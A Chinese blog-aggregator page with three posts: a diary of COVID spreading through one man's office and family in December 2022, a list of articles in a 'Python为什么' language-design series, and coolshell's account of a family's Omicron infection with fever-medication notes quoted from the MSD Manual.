周二临近中午,营销部一个新的方案需要讨论,营销部两位,财务部一位,IT部的我,加上老板,在小会议室头脑风暴,关键是五个人都没带口罩,就这么唾沫星子横飞,沟通了40分钟有余。下午申请好明天的出差计划,先去杭州客户处再去生产基地,一切妥当到了下班。晚上办公室小群,L1同事说我好像有点发烧,明天会不会影响你们出差。过了不到半个小时又说,大家放心,没啥事,抗原也正常。大家也就没放在心上。这天山东省同样速度最快的宣布对进入医疗机构门急诊不再查验核酸。这天历时三年多的通信行程卡正式下线。


12月14日  半途的行程

凌晨4点,L1同事群里说我烧了一晚上,估计是阳了。等我早上起来看到消息的时候先是一惊,赶紧催着他做核酸,我按计划触发。接上L2同事,我们驾车前往杭州。Z1同事6点多的高铁去衢州。早上8点,L1仍然说抗原没问题。我们的行程继续。到了8点半,L1说确证了,抗原两条杠,症状全身酸痛、头痛、喉咙干掉。此时我和L2已经到德清了。没办法进服务区和公司汇报,Z1高铁已抵达义务。沟通下来,各自取消行程。一为了不给客户带来不必要的麻烦,二位了保护生产基地的安全。下午我们各自从半途回到了上海办公室。经过一番沟通,我认为自己的风险比较大,就跟Z1同事说,晚上别回去了,先躲一下,我们这种属于高度密接了,没排除风险前最好别传给家人。当天我们小区群里面有居民自己在车里隔离,给了我一个启发,我就说晚上睡车上算了。临下班再问Z1同事咋整,他说他家人让他回去,别住外面了。下班后回家路上顺道做了个核酸,等到凌晨2点报告显示阴性,瞬间缓和了好多。


12月15日  去酒店住宿

昨晚在车上睡的,和老婆商量好说我的风险比较大,就不回家了,在地下车库,她把饭菜都给我拿下来,其中有一大碗鸡汤,顺便带了2斤桔子,茶、毛毯。妥当后就在车上睡了一夜,毛毯也没盖,那两天地库有21℃,加上闷在车里,也不是很冷,只是轿车空间太小了,蜷曲着像个大虾迷迷糊糊睡了一夜,还一会儿醒一下看下核酸结果。知道凌晨2点多核酸结果出来才沉沉的睡去。所以今天一整天在公司状态都不怎么好,到下午的时候,我的偏头痛又发作了,加上幻阳症的刺激,整个人感觉都不好了,然后就去测抗原、量体温,啥事都没有,却惶惶不可终日。白天Z1同事整个状态都不错,有说有笑。下午抽空和他一起加上Z2同事一起又去做了个混管核酸。临下班决定今天去酒店睡一晚养足精神。看看会不会好点。到了小区,老婆仍然给我送了饭(又有一大碗鸡汤),水,桔子,体温计。然后我直奔附近一家连锁快捷酒店。开好房,也不查核酸了,让我扫下场所码,我说不是不扫码了吗,前台告知主要是可以快速查看健康码,索性我直接把健康码给她看了,也就没扫场所码了。进了房间,洗了个热水澡就睡了,半夜不到,隔壁房间为爱鼓掌的声音震耳欲聋,一幅活色生香的画面感觉就在眼前。遂爬起来喝口水,顺便给自己量了个体温,一切正常,偏头痛也没了,看了下核酸结果,仍然显示检测中。等隔壁没声了,我也就一夜呼到天亮。


12月16日  单管核酸进行中

15号的核酸结果在今天下午都还没有出来,有点担心,之前小区群里面别人说核酸结果超时不出来基本都是混管异常待复核。昨天三个人一起做的混管,我和Z2同事在一个管中,Z1自己和别人是一个管。结果Z1的混管结果在16日早上出结果了阴性。我和Z2的混管结果知道16号下午都还没有出来,一直显示检测中。因为明天是周末,混管结果迟迟不出来决定下班去医院做个单管核酸。到了医院,单管核酸队伍老长,免费的混管核酸窗口没人,又突逢降温,淅淅沥沥的小雨伴着西北狂风大作,体感冰凉。好不容易快轮到我了,前面还有三个人,核酸采样亭要做消杀,紫外灯一开,采样员全吃饭去了,一打听紫外灯要开30分钟,在寒风中等到快二十点才回家。到了小区地下车库收拾妥当,一看昨天的混管出结果了,待复核。这操蛋的,早知道就不去医院单管了,拿着待复核结果小区里就能做单管,白白在寒风中排队2小时。老婆大人给我准备好了饭又拿到地库来了,我跟她说明天周末,今天单管结果没出来之前我不回家,在车上呆着。我在车上安心的刷着手机,期间隔壁车位停进来一辆车,那小司机停车后也不下车,摇下窗户抽烟,放倒座椅刷手机。我敲了敲我的玻璃,隔着车窗喊:小兄弟回家吗?回家赶紧下车,不回家就换个停车位。他不解,我说我阳了,之间他麻溜的发动车子开走了,不停的说谢谢谢谢。不多久又停进一辆车,一对小情侣,在车上恩恩爱爱的不下车。我又重复了一下要么下车赶紧回家,要么换个车位。对方似乎觉得我很霸道,没打算理我,我一看只能放大招了:我阳了,在车上隔离呢,他Y的一听跟兔子似的就跑了。凌晨在车上睡的迷迷糊糊,凌晨2点半看了下核酸结果,出来了,单管阴性,遂在办公室群里发了句我安全了,回家了。收拾东西上楼。


12月17日、18日  限足的周末

回到家洗了个热水澡,安心的睡到日上三竿。吃完早中饭,上午11点不到的时候,Z1同事发了一个37.4的体温图片和一句芭比Q了,我说你这没事属于正常问题吧,Z1说不出意外明天要高烧了,他自我感觉不好。女儿上完英语培训回家,按照老婆的习惯,下午要带娃出去溜达的。这一看这架势,小区里说好多阳,混管好多异常,老婆直接不敢出门了,防控的时候天天要出去,现在放松了反而不出门了,我笑她出去溜达啊咋不出去了呢。后来同事N1也发了个体温图片,感谢公司的布洛芬救了她,三天高烧终于退烧了,同事N1是最早有症状者之一,但是她多天核酸抗原双阴性,就是高烧咳嗽,然后三天高烧退后依然抗原核酸双阴,并且痊愈了,啥问题也没有,我猜她是赶上了这波流感。也就是说我们办公室新冠和流感两波病毒在办公室传播。N1同事对面的C1同事也被感染了一波流感,不过她没发烧,咳嗽两天就痊愈了。17号下午给Z1打电话,明显状态不佳,傍晚他自己发了个抗原双杠的图片,阳了。因为Z1阳了,我感觉我躲过了L1这波新冠,但是Z1感染了,我又不敢确定我是否躲过去了,有点后悔不该回家的,在外多待两天再回的就好了。17号晚上公司人力部门发通知公司直接定点了一个酒店告知大家,如果谁阳了可以自觉去指定酒店进行隔离,阴了以后再回家和上班,酒店费用公司承担。18日平静的度过了一天,自测抗原没问题。我就在群里号召大家大量超量补充维C,可以不停的炫桔子。晚上21点时分,同事M1发信息说她男朋友开始发烧了,喉咙痛大腿抽筋,问我们怎么办?我回复了一句:发烧+酸痛=新冠,抓紧测抗原。多补充电解质,防止脱水,大量补维C,炫桔子。问她自己是否有症状,告知自己没问题。


12月19日  办公室全面开花

又到周一,新的一周工作日,没想到后面这一周减员严重。周一一早办公室群里L2同事说我老婆抗原两条杠,能来上班吗?加上昨天M1也是家人有症状,人力统一答复没症状就来公司吧。这一早N1同事又把最新的核酸截图出来了,依然阴性,明确她是感染了流感。这天早上老板还是给我们灌输病毒没啥可怕的,他连口罩都不带。虽然我们每个人都带了口罩,他也只能说当然能不感染最好别被感染。我总结了一下战略上要藐视新冠,战术上要重视新冠,就发到办公室群了。中午吃完饭,L2同事突然就焉了,满脸通红,有点不舒服,给他量了个体温38.9℃,赶紧催他回去了。下午1点,Z1同事发信息说他儿子也阳性了,和他一起在酒店隔离了。L2同事也去了酒店隔离。他俩在酒店顺利会师了。临下班的时候问了一下M1同事,她和她男朋友是否有做隔离?答曰没有,就问你们家有隔离条件吗?答曰有的,那我就说晚上你俩要分床分房间睡。到了下班,我和老婆商量去买菜,让我妈别出门了,我俩在菜场直接屯了4天左右的菜,并告知办公室的同事减少出门次数,一次多买点菜。晚上吃完饭,再打Z1和L2同事的电话,Z1经过两天低烧,状态有所好转。L2第一天发病很急,并且很严重,电话中已经无法说清楚话了,有点担心,赶紧跟公司说能不能派人去看看他,因为Z1也在酒店,并且Z1状态还不错,就让Z1去看下,结果Z1退房回家了,告诉我们他家5口人全军覆没了,所有人都被感染了,已经没有必要在酒店隔离了,包括只有3个多月的小孙子。陆续有同事给L2打电话,获得的信息暂时安全不需要去探望,也就作罢了。也是从今天开始我们家执行分餐制了,我老娘和和我女儿先吃,我和我老婆后吃,因为她俩不出门,女儿在上网课不用去学校。我和我老婆风险最大,双方都不断有同事倒下。同步让我女儿从我们房间搬到和她奶奶一个房间。我们晚上下班回家全身消杀好了以后再进家门,分餐的时候我们就躲在房间内。洗澡洗漱也都做好基础性的隔离和消杀。


12月20日  回光返照的一天

难得女儿没睡在身边,于是连续两晚和老婆为爱鼓掌后沉沉睡去,老当益壮明显白天精神不错。周二M1同事早上一来精神状态就不好,一直说自己晕乎乎的,测抗原后正常,也不发烧,但是看着就病怏怏的样子。不过平时正常的时候看着也有点像林黛玉那种病态风格。我们也没多在意,就问了一句有没有和她男朋友分床睡,答曰没有,然后被办公室一群人奚笑一番,都说恋爱脑的人没办法。我们这种已婚的如果对方阳了,不是一脚踢床下去就是赶到外面去。我们部门后端开发今天带了一个一次性口罩,被我说了一顿,你怎么不带N95,一次性口罩没啥用,答曰不透气太难受了。我说现在风险这么高,你要加强防护,也就作罢了。今天是最安静的一天,持续到下班公司没有同事倒下,除了M1病怏怏的姿态,晚上20点,M1说有点发冷感觉不是很好,因为M1的工位离我们IT部门的工位最近,所以吓的我们部门几个小伙伴都做了下抗原,其中后端开发的抗原莫名是两条杠,但是他没有任何不适症状,我让他重新测一个抗原,显示阴性,我就说你抓紧去做个核酸,等他核酸回来发现后做的抗原也两条杠了。至此我们部门不能独善其身了。


12月21日 多人中招

不出意料的,M1同事今天没来上班,发烧咳嗽请假了,我部门的小家伙半夜也有症状了,早上4点还高烧,让其请假没来公司。今天的氛围明显感觉在办公室的都是战战兢兢。接着售后组的Z2中午说有点发烧,大腿后一根筋有点酸痛,我们怀疑他中招了,抓紧测了个抗原,抗原阴性,但是他这症状明显是新冠,让其回家,今天老板也没来公司,并且昨天老板在办公室全程带着口罩还是个N95,并且去找他谈工作的都被告知离他远一点,感觉有点不好。电话汇报工作的同事告知老板中招了,抗原阳了。下午Z2发消息说昨天的核酸结果出来了,阳的。至此今天一共倒下四位同事。晚上回到家,我老娘说今天有点头疼,可能晚上给小家伙盖被子爬上爬下着凉了。我给她测了下抗原和体温,还好不发烧,抗原也是阴性。同时为了保险起见让我老娘去做了个单管核酸(小区自上周就开始只做单管了)。


12月22日 冬至,后院失火

一早到公司,已经没几个人上班了,H1同事到公司后,直接拿了一个两条杠的抗原给我们看,并说纠结今天要不要来公司。她说她啥症状也没有,也没有任何地方不舒服,昨晚测的抗原两条杠,以为抗原不准又测了一个还是两条杠。今天一早测一个还是两条杠,怀疑家里的抗原是失效的。到了公司以后我说不太可能抗原全是失效的,那用公司备的另外一个牌子测一下吧,一测仍是两条杠,虽然她精神状态很好,还是被我们几个阴性的给赶走了,开玩笑说你现在是不受欢迎的人,赶紧去测核酸看看。她离开办公室立刻去做了个核酸。同时昨天倒下的Z2同时的核酸结果也发群里了,妥妥的阳性。昨天倒下的C2和Z2家里都没有备药,我从公司备药中分别取了布洛芬、连花清瘟、可立克等,并告知他们注意事项。我们今天几个在办公室的小伙伴都紧张的有点过头了,原本一天测两次体温,搞得一天测好几次,都得了幻阳症。下午十分我老娘给我发了个消息说核酸结果出来了,阳性。自己又测了个抗原也是两条杠,至此我的大后方沦陷了,我第一时间跟我妈说,现在立刻回到自己的房间,不要出来,让我女儿停止上网课,立刻回到我们的房间,同事我用手机拨打了家里的小爱音响,跟我女儿说现在不要和奶奶说话,回房间呆着不许出房间门直到爸爸回家。下班后火急火燎的去接老婆下班,赶回家做好消杀,告知老娘各种注意事项。家里做了一次彻底消杀。晚上H1同事的核酸出来了,奇怪的是她的单管核酸竟然是阴性的。同时我部门P1同事的女友也确诊了。另外一个C2同事说她老娘也阳了,这一天公司加上我一共三个人自己没事,后院全失火了。


12月23日 女儿像霜打的茄子

鉴于老娘阳了,居家隔离中,突然女儿就没人带了,老婆大人向公司请了假,全程在家照顾她并监督上网课。但是一早起来女儿状态就不好,焉不拉几的。我女儿一生病就比较闹人,所以这一天网课基本在她妈妈怀里抱着的。早上我去巴比馒头店买包子,7点多钟原本是早点高峰时间,竟然无一人排队,老板娘面前摞了一堆外卖单子,也没个骑手接单。她说这比过年还冷清。等我到了公司,我部门的P1发消息说他也中招了,抗原两条杠。X1来的时候还正常,精神状态都不错,但是当我们量体温发现竟然37.8℃了,赶紧让他回家。X1到家后发消息已经38℃了,并且做了个核酸和抗原,抗原结果阴性。C1由于老娘确诊,有两个孩子需要照顾,所以请假没来,周五这一天办公室只有6个人在上班了。临下班我让大家猜我们这6人中谁是下一个倒下的。H1同事今天又做了核酸,结果又是阴性,抗原依然阳性。大概她是我们办公室第一个无症状感染者。X1中午体温直奔40℃去了,告诉他注意退烧,补充电解质,不过他精神状态还不错。晚上回家,睡觉的时候从昨晚开始就变成我老婆和女儿睡一头,我睡另一头,同时三个人睡觉全带着口罩,今天又如此重复。


12月24日  一家三口核酸阴性

今日周六,家里严格执行隔离消杀动作,虽然不知道能起到多大的作用,就当图心理安慰吧。下午一家三口开着车去郊外找了个没人的地方停车,晒晒太阳,慵懒的一个午后吃吃喝喝大概是被感染前最愉快的时光了吧。去之前路过核酸亭,三个人都做了个单管核酸。晚上吃完饭,核酸结果出来了,三人都是阴性。女儿和老婆睡一头的,我睡另外一头,三人都带着口罩,这个姿势已经坚持了两晚了。刚睡下还好,半夜女儿就还是吵闹了,一会儿有痰要吐痰,一会儿有鼻涕,一会儿要尿尿,总之很不安分。三人迷迷糊糊睡到天亮。


12月25日 女儿确诊,老婆起症状

和昨天一样起床消杀吃早饭,女儿昨晚闹腾了一夜,今天醒来的时候声音都是哑的。清了清嗓子说话才正常点。早上焉焉的状态也不好,早饭也不想吃,连哄带骗且逼的才把一个小猪包干掉。量了下体温发现还在发烧,并且嚷嚷头疼。吃晚饭后给她喂了美林,一直到美林起效,娃儿又活蹦乱跳了。老婆上午状态也明显不精神,中午饭后就昏昏欲睡,躺倒后我给量了下体温,38.4℃,发烧了嗓子还不舒服,赶紧给她和女儿都做了一下抗原,女儿紫红紫红的两道杠确诊了。老婆暂时抗原阴性,但是已经起症状了,估计要不了多久就能测出来了,感染是没跑了。我们家的隔离措施到今天也就解除了,已经没有必要了,给我老娘隔离在一个房间主要是防止小家伙感染,小家伙感染了,我夫妻两人已经笃定跑不掉了,虽然我现在还没症状,也就是一两天的事了。


by 西枫里 at December 25, 2022 06:21 AM

December 18, 2022

pythoncat

Python 为什么如此设计?

大概两年半前,我萌生了要创作一个新的系列文章的想法,也就是“Python为什么”,试图对 Python 的语法及特性提出“为什么”式的问题,以此加深对它的理解,探寻使用技巧、发展演变、设计哲学等话题。
一直以来,我都是一个有着较强问题意识的充满着好奇心的人,擅长于识别出相似东西的差异,并从差异性上发现事物的独特意义。
于是,当将 Python 与其它编程语言作比较时,加上阅读及翻译了一些 PEP 从而积攒了一些素材后,我就得到了很多的小发现。当确认了国内外的技术社区里缺少这方面的文章后,我就更确信了这件事的独特价值。
我当时有个天真的想法,觉得可以按照“十万个为什么”的方式,写出源源不断的文章……
刚开始的 2020 年下半年,我创作力旺盛,写了约 20 篇“Python为什么”系列文章!然而,到了 2021 年,仅有 2 篇!再到 2022 年,也是仅仅 2 篇!!……
时间都去哪儿了?怎么我才稍稍微偷了个懒儿,它就不见了呢?本来计划有不少想写的话题的,怎么拖着拖着就忘了该怎么写了呢……
最近眼看到了年末,我越想越是有些不甘,于是,花了几天时间,好好梳理了下“Python为什么”系列文章,优化了 Github 的介绍内容,准备认真把这个系列重拾起来!
我把之前调查问卷里遗留的问题,以及其它计划要写的话题放在 Issues 跟踪,欢迎大家来提问题/给建议/指导写作/监督催更……
下面放出的是目前系列文章的介绍,恳请喜欢本系列的同学给颗 star 鼓励一下!(内容会不断更新/增长,请以 Github 主页为准。)

如果你在手机微信端阅读,由于链接跳转麻烦,建议你通过这个合集的链接进行阅读。

文章列表

  • Python 设计和历史的常见问题
    • Python 官方提供了约 30 个常见问题的 FAQ,你可以从中快速得到“权威”的解释
  • Python 为什么用 len() 函数,不用 x.len() 风格?
    • 介绍了《流畅的Python》及 Guido 的解释
    • 我本人认为这体现了 Python 对世界本质的洞察
    • 文章顺便回答了:为什么 Python 的索引从 0 开始计数?
  • Python 为什么使用缩进来划分代码块?
    • 这是个经典的问题,总会被提起,我总结了 8 个原因
    • 有不少人对上述 8 个原因并不买账,因此我补充了一个回复:Python 的缩进绝不是反人类的设计!
    • Guido 在一次采访中说:严格要求代码缩进确实有点夸张,改用花括号,也不是不可以
    • Python 的缩进起源于 ABC,而 ABC 的缩进起源于 60-70 年代的编程畅想
  • Python 为什么不用分号作语句终止符?
    • 分号一般有分隔符与终止符两种作用,但 Python 只用分号作为分隔符,却不用它作为终止符, 而是改用换行作为终止符。本文精炼总结了 5 个原因
  • Python 为什么没有 main 函数?为什么我不推荐写 main 函数?
    • main 函数作为某些编程语言的执行入口是强制必要的,然而 Python 这门脚本语言有着自己更为灵活的执行方式
    • 在我的编程习惯中,我反感那些不假思索的if __name__ == '__main__' 写法,文中给出了我的编程建议
  • Python 为什么推荐蛇形命名法?
    • 编程语言中有好几种变量命名风格,最为流行的两种分别是驼峰命名法和蛇形命名法。本文从编程语言的历史发展过程和语言内部的使用习惯角度,解释了为什么 Python 更偏好于蛇形命名法
  • Python 为什么不支持 i++ 自增语法,不提供 ++ 操作符?
    • 有过 C/C++/Java 等语言的编程经验的开发者会疑惑,为什么 Python 中没有 i++ 这样的语法
    • 这个问题反映出 Python 中的数字对象跟其它语言中的数字有着根本性的差异;另外,Python 的可迭代对象特性,也深刻影响着语言的诸多设计方面
  • Python 为什么只需一条语句“a,b=b,a”,就能直接交换两个变量?
    • 很多人以为“a,b=b,a”(交换变量操作)跟“a,b=1,2”(多变量赋值)一样,都是基于元组解包的特性,然而 CPython 的实现并非如此
    • CPython 使用专门的优化指令(即 ROT_TWO、ROT_THREE 和 ROT_FOUR)实现栈顶元素的快捷交换
    • 当同时交换的元素数量大于 4 个时,解释器才会跟“a,b=1,2”(多变量赋值)一样,基于解包实现变量赋值
  • Python 为什么用 # 号作注释符?
    • 注释符是编程语言中最基础的要素之一,Python 属于“# 号注释符阵营”,原因或许是它遵循着 Shell 等脚本语言的传统
    • Python 中不存在“块注释符”,Guido 曾建议使用多行字符串(multi-line strings)来达到块注释的效果,但这种方案在语义上有点怪异
  • Python 为什么要有 pass 语句?
    • pass 是 Python 独有的一种空操作,其它语言并没有这样的设计
    • pass 可以作为一种空间占位符,辅助程序员快速编程,然而这点小用途并非至关重要的
    • 由于 Python 不使用花括号之类的手段来划分代码块,因此在定义空函数时,pass 就成了一种补齐语法逻辑的方案
  • Python 为什么会有个奇怪的“…”对象?
    • … 是 Python3 在 PEP-3100 中引入的一个内置常量,与 Ellipsis 表示同一个对象
    • 官方说它们是单例的,然而这有违事实。要么是文档错了,要么这是一个 Bug ?
    • … 有什么用处,能够解决什么问题?文中介绍了 4 个用途:扩展切片语法、表达“未完成的代码”语义、Type Hint 用法、表示无限循环
  • Python 为什么能支持任意的真值判断?
    • 这也是 Python 与众不同的一个特性,它将其它语言中仅限于布尔类型的操作(if 或 while 或布尔操作 and、or、not),扩展到了任意对象,带来了极大的灵活性
    • 真值判断的结果取决于__bool__() 和 __len__() 这两个魔术方法的返回值
    • Python 甚至可以对数字对象作真值判断(表示 0 的数为 False,其它数为 True)
  • Python 函数为什么会默认返回 None?
    • Python 隐性地为没有带 return 的函数添加一个 return 操作,即默认返回 None 值,这是由解释器强行注入的逻辑。这意味着:Python 中不存在无返回值的函数
    • 为什么 Python 要强制令所有函数都有一个返回值呢?为什么它不支持无返回值的空函数呢?
  • Python 为什么没有 void 关键字?
    • void 通常指的是一种类型(type),但是它没有具体的值(value)。文中介绍了其它语言需要使用 void 关键字实现的两种功能
    • Python 舍弃了表示“没有值的类型”的 void,统一使用表示“仅有一个值的类型” None,配合前一篇“所有函数必然有返回值”的设计,实现了简单好用的效果
  • Python 为什么是强类型语言,不是弱类型语言?
    • 动静类型与强弱类型是两组不同维度的概念,不应混为一谈。在编程语言发展的早期,当强弱类型的概念还未提出时,一些大佬使用动静类型来笼统地描述语言的特性,这是历史原因
    • 如今主流观点以“隐式类型转换”来划分强弱类型,Python 毫无疑问是强类型语言。文中针对几个易混淆的问题,详细解释了为什么 Python 中不存在“隐式类型转换”
  • Python 之父为什么嫌弃 lambda 匿名函数?
    • lambda 语法借鉴自 lisp 语言,却遭到 Python 之父的嫌弃,然而它竟从他的屠刀下幸存,这段故事充满戏剧性
    • Python 的 lambda 只支持单行表达式,功能不完备。曾有人提议增强 lambda 语法,Python 之父认为那不是好的设计,因而否决了
    • Guido 提出要一次性移除 reduce()、map()、filter() 以及 lambda,但最后他妥协了
  • Python 为什么不支持 switch 语句?
    • 大多数语言都提供了 switch 语句或者极其相似的东西,但在 Python 之父的裁决下,Python 不提供 switch 语句
    • 文章介绍了试图引入 switch 语句的 PEP-275 与 PEP-3103,总结了这两个提案的要点以及被否决的原因
  • Python 疑难问题:[] 与 list() 哪个快?为什么快?快多少呢?
    • 两种创建列表的 [] 与 list() 写法,哪一个更快呢,为什么它会更快呢?
    • 文章通过字节码与执行过程的分析,解释了两者执行速度的差异
  • 为什么说 Python 内置函数并不是万能的?
    • 内置函数的名称并不是关键字,而内置作用域位于名称查找的最低优先级,因此在调用时,某些内置函数/类型的执行速度就明显慢于它们对应的字面量表示法
  • 为什么继承 Python 内置类型会出问题?!
    • 由《流畅的Python》中的例子,引出 Python 在内置类型子类化时不合常理的话题
    • 分析魔术方法的底层实现逻辑及调用关系,解释内置类型存在的问题
    • 介绍了内置类型子类化的最佳实践
  • 为什么 Python 的 f-string 可以拼接字符串与数字?
    • Python 是强类型语言,在不经过强制类型转换的情况下,字符串无法拼接数字
    • 介绍了 PEP-498 实现 f-string 的原理
  • Python 的切片为什么不会索引越界?
    • 切片是不少编程语言的特性,Python 的切片不仅功能完善,而且在使用上更为灵活
    • 索引越界是一个常见的问题,Python 切片使用了几条规则,屏蔽了可能导致出错的情况
    • 文章介绍了 Python 的解决方案,但是也留下了一个疑问:为什么 Python 的切片语法要允许索引超出边界呢,为什么不设计成抛出索引错误?
  • 为什么 range() 生成的不是迭代器?
    • 有很多内置方法可以生成迭代器,然而似乎只有 range() 生成的是可迭代对象,这个 range() 显得非常独特。文中给出了我对此的猜想
    • 我还注意到 range 是一种不可变序列,然而它跟字符串这种不可变序列相比,也有着独特的表现
  • Python 为什么要保留显式的 self ?
    • 这也是一个常见问题。这里给出了官方文档的解释,另外附了 Guido 的一篇博客全文
  • Python 为什么不设计 do-while 循环结构?
    • 在 C/C++、C#、PHP、Java、JavaScript 等语言中,do-while 是一种基本结构。Python 为什么不沿袭它们的传统呢?有什么特殊的考虑?
    • 文章列举了其它语言中 do-while 语法的主要使用场景,解释了为什么 Python 可以不用这种结构
    • 介绍了 PEP-315 试图引入 do-while 结构的尝试,以及 Guido 的反对意见
  • 为什么 Python 3 把 print 改为函数?
    • Python3 与 Python2 最显眼的一个区别就是:print 语句变成了 print() 函数
    • PEP-3105 Make print a function 是对这个问题最好的回答
  • 为什么说 Python 最会变魔术的魔术方法是它?
    • __missing__() 是仅在内置类型的子类上才存在的魔术方法,似乎是唯一的特例
    • __missing__() 极为特殊,Python 解释器为它开了后门,实现了最为罕见的“魔术方法间调用”逻辑
  • Python 为什么用”elif“,而不是“else if”?
    • elif 写法相比于“else if”更为简洁,这种写法并非 Python 首创。Guido 发推特解释了这种写法的来源
当在两年半前写下第一篇“Python为什么”系列的时候,我无法想象自己会在 2023 年到来之际写下这一篇宣告重新起航的小结,更无法想象是在下一个两年半,或者五年半或者更久,再次写下一篇新的总结。谁说得准呢!
但是,不忘初心,珍惜当下的决心,树立砥砺前行的恒心,我可以的!

December 18, 2022 12:00 AM

December 13, 2022

coolshell

感染新冠的经历

写一篇与技术无关的文章,供大家参考。我住北京朝阳,从上周三开始我家一家三口陆续发烧生病,自测抗原后,都是阳性。好消息是,这个奥密克戎跟一般的病毒性感冒差不多,没什么可怕的,不过,整个过程除了发病之外还有一些别的因为感染带出来的事,大家也需要知晓,以准备好,以免造成生活的不便,更好的照顾好自己和家人。

整个过程

我先说一下整个过程(我会不断更新这个过程,直到转阴)。说明一下,我孩子老婆都打过三针国产疫苗,孩子是科兴,老婆是北京生物,我完全没有打

先是我家孩子(12 岁)。上周三(12 月 7 日),孩子早上起来就说头疼,一测体温,38 度 5,就停止上网课,老实休息了,我们并没给孩子吃什么药,到了晚上,孩子的体温到了 39.4,嗓子疼,我老婆用酒精给孩子物理降温(注:事实上最好别用酒精,因为会被皮肤吸收导致副作用),成功降到了 38.2 左右。周四(12 月 8 日),孩子的体温在 38.2 一天,我老婆给孩子吃了莲花清瘟,被我制止了,本来想上退烧药的,但是我想体温也不算高,能不吃就不吃,于是就让孩子冲了个复方感冒冲剂(其实里面含对乙酰氨基酚,后面会说)。周五(12 月 9 日),孩子不停地出汗,到下午体温正常了,然后咳嗽,鼻涕就来了,感冒症状来了,但精神不好,体虚无力。周末休息两天就基本没事了,也转阴了。

接下来就到我了。

周五那天感觉嗓子有点异样,我没怎么在意,周六(12 月 10)就开始发烧了,傍晚 18 点左右,我是手脚冰冷,还有点打冷颤,头晕,嗓子干燥,我就钻被子里了,在半睡不睡的状态下到了 20 点左右,我浑身发烫,我老婆过来给我一量体温,39.8,说要不要也抹点酒精?我想,北京这个季节,物理降温不就上阳台上站一会就好了吗?当然,我就是把窗开了个口,把室温降到 20 度左右,然后,短袖短裤呆了一会就感到清醒了一些。这个时候,我觉得再来碗热汤就好了,我喝不习惯生姜红糖水,又腥又甜,我就自己整了一小锅西红柿蛋花汤,为了让我更能出汗,并适合我的重口味,我又加了点辣椒,一小锅热汤下肚,汗出的不亦乐乎,体温降低到38.4度,我觉的不用再吃药了,当然,嗓子也疼了。但是我舒服了很多,最后还看了下摩洛哥是怎么把C罗送回家的比赛。

周日(12 月 11)是我最难受的一天,全天体温在 38.2左右,从早上就没有精神,吃完早点后,从 10 点一直睡到下午 15 点(因为嗓子疼,所以睡的也不安宁,各种难受), 这天我一会儿就出次汗,但是体温降不下来,始终在 38.2,然后我在犹豫是不是吃布洛芬,但是我感觉体温也不是很高,布洛芬这种药能不吃不不吃。然后,睡前喝了一袋感冒冲剂。周日这天,我婆也发烧,38.5,她全身疼痛,包括嗓子。这一天,我们在家啥也干不了,全家都在床上躲着,只有孩子还能动,所以,有些事只能让孩子去干了,我们也只点外卖了。

周一(12 月 12 日)我早上起来,38.5,开完周会后,看很多人说泰诺有用,然后翻了一下家,居然没找到,算,还是冲两包感冒冲剂得了(后来才知道,中成药里也都是掺了对乙酰氨基酚,看来中医对自己都没什么信心),于是整个下午就在出汗了,我一整天都没有什么食欲,到了下午 17 点左右,体温正常了 36.7,但是晚上又到了 37 度,开始咳痰,轻微流鼻涕,不过感觉没什么事了。而我老婆的烧居然退了,她说她应该好了。

这就是我吃的感冒冲剂。注:为什么 还要整点咖啡因,说明书上说,怕对乙酰氨基酚造成嗜睡,所以用咖啡因来消解,这复方逻辑,毫无破绽啊

周二(12 月 13 日)我早上起床后, 体温还是在 37.2 度,我的嗓子干燥微疼,头也不疼就是头晕,所以,今天睡了两次,一次是中午12 点半到下午 14点半,一次是 16:40 到 19:10,两次都出汗了,而且第二觉睡地太爽了,感觉是这两天睡过最高质量高的觉,而且嗓子不干了也好了,体温正常了 36.8,但是感冒症状出来了,接下来几天休息一下应该就好了。我孩子应该感冒也没有精神,所以一天来也是醒醒睡睡。而我老婆又开始发烧了,还带这样的,跳跃性发烧…… 更不好的是她嗓子已经疼到说不出话,也咽不下东西了,今天她也是床上躺了一天……

周三(12月14日)我今天已经不发烧了,就是频率不高的咳嗽,轻微鼻塞,不过,还是要休息,喝水。我老婆体温还是低烧中,嗓子疼痛好了些,感觉正在恢复中……

整个过程,对我和我孩子来说,不难受,感觉就是发3天烧睡3天,再休息 3 天的样子,嗓子干燥微疼,比以前的病毒性感冒好多了,以前的病毒性感冒导致的嗓子疼我是连咽口水都咽不下去。但是对于我老婆就不一样了,她先是浑身疼痛,嗓子干燥,到现在嗓子疼如刀割,说不出话。这个事可能也因人而异。

继续更新,自我阳性以来半个月了,从 12 月 14 日退烧后,我就一直处在感冒和低频咳嗽中,直到12 月 27 日才发现不咳嗽也不感冒了,但是说话还是有一点鼻音,估计还要 5-7 天就可以完全恢复了。

注意事项

能物理降温就不要吃药来降(应该避免使用酒精擦拭,因为有副作用,用水或冰就可以了),降到 38.5 以下,就可以自己抗了。如果物理降温不奏效,就要吃布洛芬和泰诺(林),这两种药非常有帮助,但是你应该在药店里买不到了,所以,你可以买中成药或复方药,反正里面的中药没有用,而几乎所有的中成药里都被加入了“对乙酰氨基酚”,算是“间接”或“复方”泰诺(林)了。但是,不要多服,不然,药量叠加,会导致你肝肾中毒。参看《这些所谓“中成药”,关键原料是对乙酰氨基酚,服用小心叠加过量

下面文字节选自“默沙东诊疗手册”

最有效和最广泛使用的退热药为对乙酰氨基酚和非甾体抗炎药 (NSAID),如阿司匹林、布洛芬和萘普生。

通常,人们可能采取以下方式之一:

  • 每6小时650毫克对乙酰氨基酚(1天内不超过4000毫克)

  • 每6小时200到400毫克布洛芬

因为许多非处方感冒药或流感制剂含有对乙酰氨基酚,人们一定要注意不要在同一时间服用对乙酰氨基酚和一种或多种这些制剂。

只有当温度达到106°F (41.1°C)左右或更高时,才需要采取其它降温措施(如用温水喷雾和降温毯降温)。避免使用酒精擦拭,因为酒精可被皮肤吸收,可能产生有害效果。

有血液感染或生命体征异常(例如,血压低、脉搏和呼吸速度加快)的人需入院。

另外,一定要多喝水,热水最好。多喝水的原因是:1)布洛芬、对乙酰氨基酚(扑热息痛)等退烧药会让人加速出汗,会导致脱水。2)布洛芬等退烧药主要在肝脏代谢,60%~90%经肾脏随尿排出。多喝水,可加速药物排出体外,减少退烧药对肝肾的损伤。3)排汗和排尿都会帮身体带走一些热量。

具体喝多少水因人而异,一般在2.5升到4升间,主要看你上厕所的频率。我因为前三天都在出汗,所以怎么喝水都不怎么上厕所,这两天我大概一天喝4升左右。总之,发烧吃退烧药更要多喝水。

另外,如果全家都病倒了,那生活就有点不方便了,所以,你得做好一些准备:

